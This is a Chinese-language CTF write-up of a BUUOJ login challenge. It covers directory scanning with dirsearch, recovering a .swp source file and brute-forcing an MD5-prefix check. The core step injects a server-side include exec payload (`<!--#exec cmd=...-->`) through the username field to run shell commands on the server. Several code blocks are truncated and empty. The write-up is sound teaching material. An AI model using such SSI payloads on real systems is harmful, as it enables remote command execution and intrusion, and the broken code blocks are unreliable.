考点:SSI(服务端包含)题
打开
发现又是一道登录题,肯定先想到sql注入,各种报错测试,都只是返回一个框。
扫目录,直接就是dirsearch开扫
1 | F:\Tools\WEB\Python-Tools\dirsearch-master>python3 dirsearch.py -u "http://82e12f9d-f5e7-44cd-b5bc-13e1f75f81a9.node3.buuoj.cn" -t 10 -s 1 |
得到一个index.php.swp
文件,这里有一个问题,就是开了代理去扫,是扫不出来这个文件的,我也老是忘记关代理。
得到
1 |
|
第一个条件是 if ( $admin == substr(md5($_POST['password']),0,6))
,$admin = '6d0bc1';
,要求是md5加密某个字符串,然后截取前6位,得到的结果要 与 $admin
相等。
上脚本
1 | import hashlib |
1 | F:\Tools\WEB\Python-Tools>python3 ctf-指定hash计算.py |
两个都能用。
接下来就是最关键的地方了
1 | $file_shtml = "public/".get_hash().".shtml"; |
大概意思就是,会创建一个包含路径的shtml
文件,会将$_POST['username']
的值写入到文件中,然后保存,关闭。包含路径的文件会返回到Respone头中。
大概了解了下,这个属于SSI漏洞,相当于是可用执行命令,通过规定的语法。
直接payload
1 | <!--#exec cmd="find / --name flag*"--> |
1 | POST |
打开
1 | public/34fb7252b9dff84b7edd3685b1c691fdd6293a00.shtml |
再一次提交
1 | POST |